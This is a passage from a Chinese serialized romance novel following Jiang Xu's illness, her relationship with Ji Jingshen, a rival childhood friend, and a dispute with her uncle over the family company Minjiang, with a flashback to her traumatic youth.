民江最近的确是重新火了一波,各种卖情怀,还走转型路线,赚了不少钱。 “可是他违背了你父母创立民江的初心对吗?”姜祁州语气更温柔了几分:“姜许,有些事不是你能控制的,你不用把责任揽在自己身上。” 姜许沉默。 父母出事那年她才十来岁,后来填志愿时,她实在是没法违背自己的喜好去填一个自己不喜欢的专业。在那个三十七八度的酷暑,她独自一人跪在父母的墓碑前,为她的任性道歉。 其实她自己也很清楚,哪怕是当年选择进公司,如今的局面也不会有任何的改变。 民江早就是姜广安的天下,老员工换了一批又一批。她无论选择哪一条路,都不可能守得住父母的民江。 “算了,不聊这个了。”姜许哼唧两声:“我怎么听说,你最近和谢三小姐走得挺近的。” “那边打算联姻。” 姜许当然是知道,她在乎的是姜祁州的态度:“你怎么想的?” “没有想法。”姜祁州说:“和谢三小姐接触只是为了生意,再者,现在我不需要联姻。” “?” 姜祁州的声音染了几分笑:“逸安的季董现在都得喊我一声堂哥,我还需要牺牲自己联姻吗?” “……姜祁州,你啃妹还挺骄傲的啊。” “嗯,谁让我妹妹那么厉害。” “……”别夸,再夸会飘。 七扯八扯的,姜许有许久不和姜祁州这样聊天,又像是回到了小时候一样,睡不着就拽着他去院子里的摇椅上,直到聊到她睡着为止。 “咚咚。” 敲门声传来,姜许扯了一嘴嗓子:“进来。” 门被推开,姜许下意识地朝门口看了一眼。 季惊深穿了件黑色的丝绸睡衣,领口敞开得有些大,大片腹肌赤裸裸地暴露在空气之中。腰间是绑着的丝带,精壮的腰身愈发地显着形状。 他应该是洗过了头,头发七八分干的样子,温顺地垂落在额前。明明是应该坐在高堂之上的上位者,此刻却多了几分温润乖巧的意味。 浅金色混杂着海洋蓝的酒被季惊深放置在床头柜上。 微微俯身之际,胸前大片的春色暴露无疑。男人的眉眼矜冷,黑眸却填了几分暖。他也不开口打扰姜许和姜祁州,只是用手机在备忘录敲下几个字。 【今天的新调制的酒,聊完了早点睡。】 还聊什么…… 姜许的心思完全被面前的春色给勾了过去,匆匆地敷衍了两句就挂断电话。 也是在这一秒—— 带着微凉触感的薄唇狠狠地压了下来。 厮磨侵入。 吻得晕晕乎乎之际,男人的嗓音在他们唇齿之间荡开: “姜许,我有点贪心。” “不只是想每天见到你。 第40章 第40章【VIP】 姜许只得了一秒反应的时间,紧跟着而来的,是温热而又霸道的吻。 她被抵在了床上,手机早就从掌心滑落,而后被季惊深交握着十指相扣。 这次的季惊深的确很贪心,唇齿交缠还不够,薄唇先是在她唇上轻轻地试探着咬了一小口,印出浅浅的牙印后,继而亲吻落在了唇角。 一点点的,像是对待着最珍视之物一样。细细密密而又认真的,亲吻过姜许的侧脸,眼睛,额头。又轻又认真,像是大型动物在标记自己的所属地一般。 季惊深是想继续的。唇齿交融的感觉实在是太过美好,他前二十八年从未在任何人身上体验过,唯独得到过一个姜许。国外的那些年,偶有欲望,他也极少解决,大多数时候都是用工作麻痹过去。可在见到姜许的每一面,欲望都在不断地疯涨。无法克制,难以压抑。 亮堂的房间内,窗帘大开着,外头的月色落了一角映在床上。姜许被吻得晕晕乎乎的,像是被一团温柔的蜜包裹其中。抬眼,一汪春色,勾得她溃堤成河。 薄唇离了额头一瞬,姜许便仰头,主动吻住。 微长的指尖从胸口处的那肌理线条不断往下,察觉到腰间系着的阻碍之后,轻轻一拽—— 浴袍松松垮垮,形同虚设。 季惊深只觉得全身都绷紧得难受。她又新做了指甲,有些微长。 如同羽毛的尖端,从轻点上轻扫。 眼看那只不安分的手试图挑开边缘处,季惊深握住了她的手,溢出的嗓音沙哑得很:“确定要继续?姜许,我不保证你明天还能准时参加婚礼。” 姜许被这话点醒,理智回笼过后,依旧是无法克制的身体上的难受。 “季惊深,我难受。” 她轻蹙着眉,双眼早就布满了水意,轻柔的嗓音里带着几分娇嗔之意。 季惊深静默着,正欲继续吻下去之际,姜许却又双手推开了他。 “你帮我。” “……好。”- 婚礼到底是没参加成。 被送上云上过后,取而代之的,是后知后觉的羞涩。闷热,难消退。 合上的窗帘再次被姜许打开,连同着窗户一起。凝固了良久的思绪伴随着晚风和突如其来的暴雨一点点冷静下来,直至凌晨两点,她才借着好不容易酝酿起的睡意回了床上。 结果第二天再醒来,脑袋晕乎着,全身像是压了千斤重的东西一样,没有半点力气。 “二十九度八。”季惊深面无表情地收回体温枪,轻轻碰了碰姜许烫得厉害的脸,终究是软下了嗓音:“姜许,我送你去医院。” 昨晚就不应该放纵她。也不只是姜许,他有些贪得无厌了。她的所有,季惊深都想要。 光是骨节般的指节还不够,于她的惊呼之下,他虔诚地吻了上去。以至于结束之后,姜许两眼失神,耳根子红透。而他高涨难消,匆匆说了一句“好好休息”便离开卧室。 却不知道,在他离开后,姜许竟然独自一人在阳台吹了几个小时的冷风。最近台风过境,天气忽冷忽热。这高烧,就这么来势汹汹。 “不想去。”姜许闭着眼,连吐出的呼吸都滚烫。 季惊深只得哄她:“听话,等病好了,给你买好看的衣服首饰。” 哄小孩呢…… 姜许晕晕乎乎的,又哼唧了两声:“我在家吃药就好。” 季惊深轻叹,温柔地抱住怀里的小火炉:“就去一下好不好?检查结束我们就回来。” 她烧得实在是厉害,一只手还抵在腰间,断断续续地喊着疼。虽然知道她和小孩子的高热不一样,但是烧过头了,也会有事。 姜许又哼了两声,不再说话,默许了。 季惊深抱着她起床,简单地洗漱过后,带人去了医院。 一系列的检查要不少时间,季惊深无法陪同,便坐在走廊中的长椅上,安静地等待着。 良久,他低头翻开微信。 【江主管,很抱歉在周末叨扰你。】 江小满没有睡懒觉的习惯,除非醉酒。醒来静心打坐时,便收到了季惊深的消息。她想了想,还是如实告知。 【姜宝父母的事,季总应该略有耳闻。其实平时也还好,不算太排斥医院。大概是因为生病了,心里脆弱的一面就露出来了。】 【当年在医院里,她父母没抢救回来。半大的孩子还没来得及伤悲,姜延河……也就她大伯的私生子,就骂她是害人精。她父母,原本能活下来,只是,用命护住了姜宝。她不说,心里面这个结一直在。】。 出事的那年,姜祁州在外地上大学,当天并没有赶受得了这么多,双亲去世,姜心。 “你要不是非得去看日出,你爸妈会死吗?你爸妈真是惨,生了个讨债鬼的女儿。姜许,要不你去陪他们好了,反正你活着也没用。” 姜许被大力地拖拽着,刚刚出血来,她被姜延河强行,膝盖重重着地,疼得她麻木。 “害人精!” 她的脑袋被姜延河按着,一下一下面。 “怎么死的不是你啊?” “姜许,他们有你这样的女儿,可真是倒霉。” “喜欢看日出对吧?把你爸妈的命都看没了,开心吗?” “……” 江小满:【姜总是在第二天回到北安的,姜延河被打了个半死,他自己也被拘留了一段时间。后来回到学校后,这事被姜延河传开了,那些人每天都在指指点点,被带动着说她自作孽不可活。姜宝得了很长一段时间的抑郁症,闹过自杀,差点没抢救过来。】 季惊深黑眸缩紧,看着对面一段一段发过来的,关于姜许的过往。久违的,心脏骤缩的疼痛。 【后来呢?】 江小满:【后来啊……】 后来的姜许转学了,去到了一个很普通很普通的高中。在那里,没有人知道她是民江的独女,没有人知道她父母被她自己害死。 她就这么浑浑噩噩地活着,上课,下课。 直到某天,姜许躲避课间跑步,在卫生间里玩着手机,外头突然传来了女生痛苦的低吟。 “江招娣,让你给我买水你怎么不买?说了你是我的狗,主人的命令都不听了是吧?” 又是一声闷哼声,姜许听不下去了,猛地推开卫生间的门,操着扫把砸在她们身上:“不想挨打就滚。” 那一天,姜许好像成为了她的父母,也保护了一个十几岁的小女生。 那一天闹得很大,姜祁州连夜坐车回来了。彼时姜许正躲在学校的后街,摸着刚买来的烟,学着那些不良少女缓缓点燃。 只抽了一口,姜祁州就来了。 她的烟被夺走,姜祁州把她带到了北安的一处老城区的街口。那里站着很多人,大多都是六七十岁,正眼巴巴地看着每一辆停下的车,语气哀求地介绍自己什么活只能干,只为求一份工作。 姜许不明所以。 姜祁州却不发一言,只是带着她跑了好几个地方。见证了年仅五六岁就得每天跟着父母出来卖菜,困的时候只能蜷缩在案台下睡着的孩子,也看到了为了十块钱扛着几十斤水泥上下十几楼的中年男人。 “姜许,在这个世界上,有很多人光是活着就已经用尽全力。如果你真的觉得现在死亡对于你来说是一件必须要做的事,不如在死之前,先把没做过的事情做一遍。” 姜祁州顿了顿,看着她语气平缓:“这辈子你还是姜许,你父母是离开了你,可你依旧是民江的千金。姜广安虽待你没有你父母那么好,可每个月零花钱并不吝啬,从不少你吃穿。你下辈子可能不再是姜许,或许成为他们其中的一个,平凡无奇,从出生开始就得为了生计而苦恼,甚至穷极一辈子,连走出这座城市的可能性都没有。” “大漠河,北极的星光,无边草原——这些风景,你这辈子唾手可及,你要是不觉得遗憾,我尊重你的选择。我不会再拦着你自杀,我只是希望你考虑清楚。现在对于你来说,真的没有比死更重要的事了吗?” 那之后,江小满足足有一周没再见到姜许。 再见到是在五月下旬,姜许剪了短发。她唯唯诺诺地拿着新做的点心,递到那些女生面前,却猛地被打了一巴掌。 姜许就这么看着她,良久,缓缓开口:“我现在好像找到想做的事了。” 自那之后,姜许和她成为了同桌,成为那个永远挡在她面前的保护神。 后来时隔很久,江小满才知道她心中所想。 她把自己当成了她的孩子。 “孩子能拴住妈妈,以前我养过很多宠物,都没活下来。所以我想着,养个人,总不至于那么容易没了吧。” 江小满笑骂她人小鬼大,才十几岁的小屁孩还当妈妈。 姜许也只是笑笑不说话。 都只是借口罢了。 她只是需要一个活下去的理由。 在看着江小满被扇巴掌的时候,姜许不再恨这个世界,不再觉得苦命的只有自己。 江小满明明和她同样的年纪,她享受了那么多年的荣华富贵,而江小满却只能一直拼命活着。 要是再寻死腻活,太矫情了。 别人都说她作孽多,害死父母。那她行一次善,这样的话,爸妈会不会*投个好胎,姜祁州应该也不会被她连累。 “你,你怎么在这?” 一道声音打断了季惊深的思绪。 他抬头,对上的是陈越然的脸。才几个月不见,原本混世魔王的男人,倒是正儿八经地穿上了白大褂,看上去颇有几分像样。 “姜许生病了?”陈越然立马反应过来,急急忙忙地问道:“什么病,严不严重?哎哟,我就说你压根就不会照顾人,要是我的话,她怎么可能生病!” 好聒噪。 季惊深有些不太想搭理他。此刻他的心情不太好,甚至有些冲动。他想见姜延河一面,自然,不只是见面这么简单。 “高烧。”季惊深最终还是礼节性的回了一句。 陈越然立马瞪眼:“最近台风,白天烈阳晚上下雨的,你怎么不提醒她少开空调少吹风?” 说完,陈越然又很嫌弃地摆了摆手:“算了算了,我进去看看,和你们这种只会工作的男人说不来。” 季惊深:“……” 陈越然进了检查室的门。 这段时间他被老爷子困在医院里,但是也打听到了不少姜许的事。毕竟是圈子里热议的话题,陈越然自然是知道的。尤其是在好友那里看到了这位所谓的季家长子的照片之后,差点没气得把屋顶都掀了。 “死绿茶!”陈越然当即破口大骂。 好友不明所以:“啊,不至于这么说姜许吧,你俩不成也没必要恨上吧。” “我说的是季惊深!”陈越然瞪他。 感情从那个时候就有一腿了! 那个时候姜许明明不喜欢他,季惊深这个死绿茶从那个时候就在勾引了! 推开门,陈越然打了个招呼:“周叔,李叔,她怎么样了?” “没什么大碍,就是烧得有些重,所以后腰疼得厉害,等挂水退烧就好了。” 陈越然点头,又看着躺在床上的姜许。她正和自己干瞪着眼:“你怎么在这里?” “我为什么不能在这里!我在国外学了八年医,从事本职工作不行吗?”陈越然气呼呼地道。 “哦,那以后这家医院我不来了。”姜许对于他的医术抱有怀疑态度。 “能来。”陈越然撇她一眼:“我不给人看病,就是接触设备这些的合作。放心,不会害死人。” 他慢吞吞地走到姜许跟前,有些贪恋地望着她的脸,只觉得鼻间泛酸:“姜许,你是不是很难受啊?我给你按一按好不好?” 姜许白他一眼:“检查做完了吧?麻烦帮我喊季惊深进来。” 陈越然:“我把他赶出去了。” 姜许被气笑了:“你们老爷子的医院和季家多有合作,你把大金主赶出去了,最近几年你都不用再回北安了。” 不是逸安,是季家。季老爷子给北安好几家私立医院砸了不少钱,这声大金主,是实打实的。就连她,也是托了季惊深的关系,才只是一个小小的发烧,就走VIP通道做了那么多检查。 医生示意她抬手,姜许乖乖地伸手过去,一边看着医生给自己打针,一边看着某个气急败坏的陈越然,认真道:“你穿白大褂挺好看的。” “真的?”陈越然凑了上去,眼睛亮亮的:“是不是很帅?” “你本来就不丑。”只是陈越然太过吊儿郎当,一看就是那种长期找女友,不找长期女友的渣男脸。 陈越然又自信了:“那我穿白大褂是不是比季惊深帅一点?” “……你想多了。”姜许无语,嫌弃地道:“赶紧把人给我叫进来。” “我想多陪陪你不行吗?就算没做成情侣,可我们好歹是那么多年的青梅竹马,你生病我担心不成啊?” 姜许:“哦,那你陪你的,让季惊深进来。” 陈越然一愣,显然误会了,忸怩了两下:“你要两个我其实也能答应……” “滚!”- 季惊深还是进来了,掐着检查报告出来的时间出来的。 扫了一眼赖在一旁不走的陈越然,他将小满楼送来的粥搁置在床头柜旁。一边打开一边看向姜许:“后腰还疼不疼?” “有点。”姜许轻叹,看了眼手背的针:“不是说好了检查完就回家的吗?” 这针都打上了,足足二大瓶,没有几个小时回不去了。 “嗯,我的错。”季惊深失笑,舀了一勺热粥,他吹凉了才递过去:“等你病好了,想怎么惩罚我都行。” 陈越然:“……这里是医院,限制级的话题能不能少说点!” 姜许看他一眼:“心是脏的,看什么都脏。” “你总帮他!”陈越然气得不行:“我们十几年的情分!” “废话,他是我男朋友,你是哪位?”姜许无语:“你赶紧去工作,我不需要你照顾。” 陈越然气呼呼地起身,到门口,又不甘心地问:“你现在看我是不是顺眼了一点?” “算是吧。”姜许道:“陈少爷,加油工作,别整天跟个小屁孩一样。” 病房门被关上,姜许又尝了口递到嘴边的热粥。比刚才烫了一些。她抬眼,看向季惊深:“你吃醋?” “不至于,我没有那么小心眼。”手下败将而已,甚至从来都不在姜许的选项里面。他还不至于,小气到和这么一个公子哥生气。毕竟,现在让他满腔怒火的,另有其人。 姜许也不问了,她的确没什么精神。嘴里尝到了一口很小的肥肉,她泛着恶心,刚想要找垃圾桶,一只干净修长的手便伸到她嘴边:“先吐我手上。” 她红着脸,不好意思地将那小块肥肉吐了出来:“季惊深,你不嫌脏啊?” 季惊深神色莫名地看她一眼:“你吃过的东西,为什么要嫌弃?” “……”这男人,好得有点犯规了。 心口像是落了一只蝴蝶一样,翩然起舞,噗通而跳。 吃过之后,姜许又晕晕沉沉地睡了过去。 只是在临睡之前,莫名地想到一件事。 都说季惊深是病秧子,怎么认识之后,她生病的次数反倒是更多。 哦对,季惊深坚持每天健身,早睡早起,健康生活。 回头……她也得学习学习。 床上传来平稳的呼吸。季惊深看了一眼,而后起身,走到楼梯口处,给方厌打去了电话。本意是找胡泽,只是他跟着自己忙碌了那么久,难得周末,不好再折腾他。至于方厌,闲着也是闲着,他也最喜欢这种热闹。 “姜延河?风月场的公子哥嘛,也不算熟,我回来之后见过几次,怎么了?”方厌单手拿着滑雪板,笑道:“惹到咱们的季大公子了?” “嗯。” 方厌惊讶。季惊深的脾气,可谓是公认的好。虽然在商场上严厉狠绝了些,可那都是利益相对而言。平时生活中,赵颜颜都那样对他了,他跟个圣母一样,说过去就过去了。 思索两秒,方厌了然:“因为你家天仙?” 季惊深不否认,默许之后问:“姜延河最近有什么动作?” “忙着到处抄袭呢。之前只会惹麻烦,最近好像是谈了个小女友,给他出了不少注意。这不,民江都会营销了,势头猛地很呢。新出的产品我看了,暗戳戳地抄袭国外的一个牌子,只不过不算是很明显,还没被对方起诉呢。” 方厌笑道,又问了句:“季大公子有什么指示?” “下些手段,不用太过。”季惊深道:“教训便足以。” “得,这事我爱做。”方厌一口应了下来,懒洋洋往雪地里一坐:“不跟你说了,我在滑雪呢。” “吉山?” 这会正是盛夏,也只有临市吉山那一片人造雪场适合滑雪。 “是啊,想来?” “再看看。” 是个不错的约会地方。只是,姜许还在病着,怎么也得休息一段时间。 挂断电话,季惊深重新回到病房。搁置在桌面的手机不断振动,姜许被吵到,不满地拧了拧眉。他快步上前,是黎江青的电话。 挂断后,他回了短信。 【她高烧在医院,今天不方便过去。】 那头隔了几分钟才回:【在哪家医院,等我这边忙完了就过去看看她。】 【不用麻烦,她有我照顾。】 对话至此结束。 季惊深思索良久。 是该公开了。 否则一些陈年老前任,还有所谓的竹马,总是不知廉耻地贴上来。 碍眼得很。 似乎还不行。 季惊深垂了垂眉。 公开最后也会分手,像是那位一样。恋爱关系于法律之上,对他没有任何保护条款。只有一纸婚本到手,他才算是彻彻底底属于姜许,她想甩也甩不掉。 只是季家成婚规矩繁琐,二书六礼。光是准备拟定名单就得许久,更别说婚纱筹备,戒指定制。他先前算得大差不差,就算是从现在开始操办,半年……太赶了些。 一辈子一次的婚礼,不能马虎。 他得给姜许最好的。 40-43 第41章 第41章【VIP】 姜许这一觉睡得很昏沉。 模模糊糊地记得中途结束了挂水,被季惊深抱着离开了病房。在走廊上遇到了陈越然,他正在和身边之人核对着什么。 余光瞥见他们,表情有几分怪异,慢吞吞地走了过来。后面便是一大长串绵长的话,听得姜许压根没撑住,再次睡了过去。 “她性子暴躁,有的时候遇到一点小事就会炸毛,然后崩溃,你别急她,要温柔地安抚她。她睡不着的时候喜欢喝酒,还熬夜,你都得管着她点,不要以为自己还年轻就可以不管不顾,等以后老了,身体会受不住的。还有,让她少穿点高跟鞋,对脚不好,保健品不能吃,运动倒是可以。早睡早起,每天再坚持一小时的运动。” 诸如此类,婆婆妈妈。 季惊深安安静静地听着。 陈越然的声音越说越低,像是在狠心告别什么一样,闷着声音:“要说的就这么多了。反正我永远为她留着位置,你要是和她分了,我就趁虚而入,直接把她拐去结婚,然后立马生个像她的女儿,父凭女贵!” “你不会有这个机会。”季惊深陈诉事实。 他不会和姜许分开,陈越然也不会有这个趁虚而入的机会。 更不会有,和她诞下孩子的可能。 “最好是这样。”陈越然眼眶又红了:“赶紧带她回去,她不喜欢医院的味道。回去也要记得让她吃药,要监督她,她经常不按医嘱吃药的!” 季惊深微微颔首,又望了陈越然一眼,抱着怀里的姜许,步子稳稳当当地离开。 陈越然吸着鼻子,很没出息的,鼻间冒了个泡出来。他大囧地擦去,耷拉着脑袋进了办公室内。 陈老爷子正练着八段锦,瞥见自己不争气的儿子进来,没好气地骂了一声:“喜欢就继续争取,你妈就是我抢来的。” 陈越然不满地瞪回去:“当年老头子你的竞争对手就是个混混,我的竞争对手是逸安大公子!” “还不是你不争气!” “明明是你不争气!但凡咱们家比逸安厉害,我能这么怂吗!” “我打死你这个混账玩意,啃老啃上瘾是吧!” 一棍子砸到陈越然身上,他也没有躲,硬生生地挨了下来。 陈老爷子察觉不对,收了力道,仔细看去,陈越然竟然哭了。 两行清泪落了下来,又被他好面子地粗鲁擦去:“我眼睛下雨了!” 陈老爷子:“……” 他叹了一口气。 自己老来得子,宠坏了,把他宠成了这幅模样。他们父子唯一相似的地方,就只有专情这一处了。可偏偏,成为了他的致命伤。 他倒是希望,这混账玩意能一直无法无天,什么都不在乎下去- 姜许睡到了下午,才满身湿汗地醒来。 房间里空无一人,只有手机振动了两下。她拿起一看,是许久不联系的小凌。她接起,那头女生的声音小心翼翼的:“姜许姐,我听黎哥说你发烧了,现在怎么样了?” “打了点滴,退烧了。”姜许起身,单手解开自己的睡衣扣子:“抱歉啊,事发突然,没办法亲自去参加你的婚礼了。” “没,没关系的。”小凌声音更低了:“姜许姐,当年的事,对不起。我,我不是故意瞒着你的。” 她和小凌认识早,她也算是小半个圈子里的人。后来小凌和黎江青合作了一部剧,提携她不少,一来二去便熟稔了很多。 黎江青决定炒绯闻的那天,故意和新剧女主出入酒店的事,小凌撞破了,却被黎江青的经纪人警告着闭嘴。彼时姜许哪里会管他们这种娱乐圈俗称既定的规矩,只是和他们爆发了很大的争吵。 至此之后,她和黎江青分手,和小凌再无联系。 “都过去了。”姜许不喜欢纠结过往。倒也不是她多么大度,只是当年的事对于现在的她而言,实在是再也激不起她任何波澜。 她早就看开往前走了,老是纠结不放过自己,才是最大的损失。 “那,那姜许姐,你和黎哥……” “朋友呗。”姜许无所谓地道:“我有男朋友了,我很喜欢他。” 其他不确定,至少,姜许知道,她是喜欢季惊深的。 “这,这样啊。”小凌尴尬道:“那,那祝姜许姐幸福。” “你也是,乐。” 睡衣被姜许全部解开,只剩一件白色的内衣在身上。而门,也在这个时候被季惊深推开。 …… 四目相望。 季惊深最先回过神来,他礼貌地背过身去,声音歉,我不知道你醒了。” “噢。”姜许全身卸了几分力,软绵绵的,实一眼正人君子的季惊深,懒洋洋地道:“季惊深,你帮我洗。” 全身黏糊,可起来的一样,困顿而又疲倦。 季惊深没动,身体显然僵硬了一瞬。 他没有应下,却也没有直接拒绝离开。 “很不舒服。”姜许慢吞吞地将身上的所有衣服都褪下,病后的嗓音软乎而又娇嗔:“不洗澡的话,我可能会感冒。” 她是故意的。 季惊深看出来了。 没多少力气是真的,但也不至于连澡都洗不了。他的浴室足够大,还有可容纳两人的浴池。他拿出手机,在页面上操作了两下,放好了水,这才板直地转过身去。 入眼便是一具极其诱惑的躯体,漂亮而又白皙。上次匆匆,季惊深没敢多看,只是顺着裤脚探了进去,入到无人之地。可现在,姜许便大大方方地站在他的面前,任由他打量。 他知道姜许性子胆大,在撩拨男人方面上手拿把掐。却也不知道,她能撩拨至此。 喉结滚了又滚,季惊深上前两步,缓缓弯腰抱起姜许。 松软撞击在胸口处。 是前所未有的感觉。 季惊深的身体又紧绷了一瞬,视线轻移,不意外地对上姜许戏谑的黑眸。 “很紧张?” 他的下颚上多了一只纤细的手指,轻轻地挠着:“季惊深,你真的……好纯情啊。” “……” 十分钟后。 姜许为自己胆大的行为感觉到后悔。 身后是略显冰凉的墙壁,热水将她和季惊深包裹在其中。男人的黑眸微微红着,气息不稳,却是再也没有放过她。 “好累……” 手腕酸疼得厉害。 实在是时间太长了,她明明还是个刚刚退烧的病号。 “马上了。”季惊深依旧盯着她,不允许她丝毫的偷懒。 这三个字他至少说了七八遍! 姜许有些崩溃,怒声喊着他的名字:“季惊深,我是病号。” “所以,姜许。”薄唇压了下来,低哑的嗓音在他们唇齿间倾吐出来:“下次还敢吗?” 撩拨,挑逗。 真当他没脾气? “……还敢。” 姜许不服输。 她是典型地吃了教训也不罢休的类型,尤其是,在这种方面上。 “好。”季惊深轻笑一声。 “季惊深!” 漫浆如潮水。 热得滚烫。 荒唐的周末过去。 姜许久违地被邀请到了民江,高层要开一个决定会议。 而姜许虽说没什么实权,但毕竟是拿了10%的股份,又是姜广随的独女,多少还给面子地给她留了个边角的地方旁听。 就着民江接下来的发展,董事会提出了不少议题。 姜许认真地扫视了一眼,董事会小换了一波血,年轻的面孔多了两三个。他们新颖地提出民江未来发展依靠营销和广告,事实也证明,这段时间,民江的确是被带着火起来了不少。 紧跟着,便是降本增效的提议。 说得倒是冠冕堂皇,实则就是为了压缩成本,从而达到更高的效益。甚至因为最近爆单的缘故,产能跟不上,内部还决定启用已经停工多年的老生产线。当初新规定出现,那几条生产线不合格便才被她爸给停用。这都过了十年,民江还想踩着红线吃红利。 姜许越听越皱眉,会议一结束,她便找到了姜广安。 “大伯,你这是打算为了一时的利益,毁了民江二十年的声誉?” 姜广安自顾自的倒着茶:“小许啊,这些年大伯待你不薄吧?你爸妈去世之后,大伯好生养着你,这股份,也按照当初答应爷爷奶奶的,给了你10%。每年分红不算多,但也让你享受了这么多年的大小姐生活。虽然你伯母和延河和你关系不好,但大伯也没有因此苛待过你。民江最危急的时候,我希望你联姻挽救民江,你直接拒绝,还让我在陈家那边下不来台,大伯也没有责怪过你什么不是吗?” 姜许皱眉。 姜广安到底是那个年代读到大学的人,加上当初是她爸提前辍学供养姜广安读书,这份恩情他多少记在心里。所以这些年在衣食住行方面,姜广安也的确没有亏待过自己。 民江在她爸妈去世之后的几年,还算是吃着老本运转不错。可自从她上大学开始,就日渐没落。那段时间,她被推到了不少饭局之间,见着一个又一个她爸的老朋友。 “这孩子多可怜啊,父母没了,总不能连父母的产业也没了吧。” “李总,你就看在这孩子父母当年帮衬过你们的份上,帮帮忙。” “王总,这孩子当年你还抱过呢,她和爸妈感情那么深,唯独留下个公司,就五千万,您看在这孩子的面上先借给我们周转。” “周总,您当初不是最疼小许了吗?这些年我们就是帮着管理公司,等她长大了她想回来自然是乐意的。您就当做是提前帮帮您的干女儿。” 诸如此类种种,实在是太多。 姜广安没有亏欠她,可也没有在此之上在给过什么。姜祁州出事那年,她哪怕是掏光了那些年的分红,也依旧差得十万八千里远。彼时民江拿下个大单,还是借着姜许的名义。她去求过姜广安,一个是他的侄女,一个是他的亲儿子。 他却事不关己的模样:“小许啊,今年的分红大伯给了,多的,可就没有了。祁州那孩子,心高气傲的,吃点苦头也没什么。放心,我总不至于见死不救。” 可最后姜祁州都被关押受检了,姜广安依旧带着他的耀祖儿子在外潇洒。 以前姜广安对她好,不苛待她,是因为他很清楚的知道,姜许日后有一天总会有用。她性子烈,姜广安要是待她不好,她能记一辈子。 所以便这样,不苛待,也不会过分好。刚刚好卡到姜许不会恨他,也不会喜欢他的那个度上。 “所以,你想说,答应我爸的事,不再作数了对吗?”姜许只问这个。 姜广安温和地笑了笑:“小许,你不管理公司不知道难处。如果你觉得大伯做得不对,失信于你爸,不如这样,这个位置,你来做。” 姜许被气笑了:“行,那我不打扰大伯你了。” 她转身下楼,却意外地撞见了黎江青。 他偏头和身侧的经纪人说着什么,看到姜许,目光一点点地全部分了过来,随后又匆匆说了句,缓步走到了姜许面前:“今天怎么来民江了?” “旁听个会议。”姜许说:“你呢?” “来谈合作。”黎江青笑了笑:“民江邀请我成为新一季度的代言人。” 姜许沉默,隔了几秒才问:“定了?” “嗯,刚签的合同。”黎江青温柔道:“我知道民江对你很重要,现在能有个机会帮民江,我自然是愿意的。毕竟,姜许,我们还是朋友不是吗?” “对,朋友。”姜许重复他的话,只觉得有些好笑,还有一种被命运捉弄的感觉。 以前在一起,他很努力想要配得上自己,选择事业。可那个时候,她根本就不在乎这些。而现在,他事业有成,自认为合作民江是在帮她,可自己,根本就不需要。 从头到尾,黎江青就没有真正明白过她。 姜许往外走,却又被黎江青喊住。 “一起吃个饭吗?” 黎江青问,又欲盖弥彰地补充了一句:“朋友之间的,吃饭。” “不了,家里有人在等。” 从民江出来后,姜许没有回别院,回了最开始来到北安居住的别墅区。 卖出去的房子并没有再买回来,姜祁州有这么个想法,被姜许给驳回了。里面陈设大改,重新装修了一遍,买回来也没什么意义。 她想爸妈了。 姜许轻舒了一口气,定了最早一班到南江的飞机。 老一辈人讲究落叶归根,姜广安被葬在南江靠北的墓地上,依山傍水的,风景不错。 赶往机场的空隙,她给季惊深发去了消息。 【我出去玩两天。】- 刚刚和边野敲定最后的事项,合作既定。 季惊深吩咐胡泽处理后续事宜,看到手机振动,低头扫了一眼。他的眉眼微动,抬眼便对上黎江妄含笑的目光:“季总,一起吃个饭?” 他不是喜欢虚以为蛇的人,这段时间应付黎江妄费了不少心神。同辈里,鲜少见到像他这样的,笑里藏刀,城府极深。不过,倒也只是难应付而已,不至于全然无法。现下合作达成,他松快了不少,却又因为姜许的一条消息,察觉到几分异样。 只是,季惊深脸上未显声色,只是回了个【注意安全】之后,继而抬眸:“黎总开口,那自然是却之不恭。” 没选太远的地方,就在市区,开车不过十来分钟。雅间之中,俞明礼已经提前赶到了。他有幸分了一杯羹,虽然比起逸安,就是一些打杂的活。但因此和边野沾上关系,对于以后扩宽西宁市场而言,可谓是作用不小。 到的时候,菜正好上齐。赵颜颜姗姗来迟,肩头还淋了些雨水。 北安天气多变,前几天台风降临,连带着这段时间的天气都有些阴晴不定。 “黎总,这是您预订的礼物。”赵颜颜将东西递了过去。 黎江妄接过,随手拍照,给那头心心念念等着的人儿拍照报备,又别有深意地看了眼赵颜颜,笑道:“赵颜颜,我记得你家也是在北安的对吧?” 赵颜颜恭敬点头:“是的黎总。” “似乎……还是和季总一个学校的?”黎江妄将手机转了个圈,握在手中把玩着,一副看热闹不嫌事大的样子:“哦对了,你还对季总情有独钟吧?季总,如何,考虑考虑?赵经理人好看,办事能力也不差,这样的姑娘放在身边,你可不亏。” 话一出,雅间之内陷入沉默。 赵颜颜的脸色有些不好看,这事虽然被大大方方的摆在明面上。但,黎江妄是她的上司,她在边野向来公私分明,这种私事被上司拿出来谈论,多少有点对她能力的质疑。仿佛下一句就是,边野要把她开了,让她如愿跳槽到逸安一样。 她在边野那么多年,可不是为了一段感情就要放弃所有的人。只得急急忙忙开口,“黎总,我……” “黎总,这玩笑可开不得。”俞明礼笑呵呵地出来打圆场,端了一杯酒朝黎江妄敬过去:“季总可是有女朋友的,回头要是那位知道了,吃醋可不得了。再说了,以前就是同学嘛,学校里八卦传来传去的,哪有什么可信度。” “这样啊。”黎江妄笑意淡了些许:“那位姜小姐?我听闻她性子泼辣,季总要不再考虑考虑?可别一时间因为……” “黎总。”季惊深出声打断,细听之下,嗓音里已经是带上了几分薄怒:“我的私事,不劳操心。还有——” “我还真以为,黎总是六亲不认之人。没想到,对自己同父异母的弟弟,倒也这么关心。” 一语戳破。 黎江妄脸上的笑容彻底消失。 半晌,嗤笑一声:“没办法,家里有个不争气的,做大哥的,总得帮衬一二。” “帮衬一二……”季惊深失笑,黑眸却没有半分笑意:“他连半点机会都没有,黎总还是少费心,省得徒劳。” 他欣然起身:“家里还有事,我先失陪了,改日再做东赔罪。” 挂了账,季惊深给姜许打去了电话。没接。 去散心了,在飞机上? 他思索片刻,怎么都觉得有些心绪不宁。 前两天他是过分了些,她才刚刚退烧,就被自己折腾着。事后,他食髓知味,却也没忘记安抚姜许。又是送礼物又是全天伺候,下地抱着她,吃饭一口一口地喂着。直到确定她没有因此生气,季惊深才舒了一口气。 此后两天,他们之间也一如之前,没有什么矛盾。 如果不是因为自己,那么只有—— 今早她去民江参加的那个所谓的董事大会。 季惊深拿出手机,先是给江小满转了五万,再礼貌地问了一句:【江主管,姜许心情不好的时候,一般会去哪?】 那头没有立马回复,等到季惊深上了车,行驶回老宅的半路,江小满的消息才发了过来:【姜宝怎么了?季总,你那边方便接电话吗?】 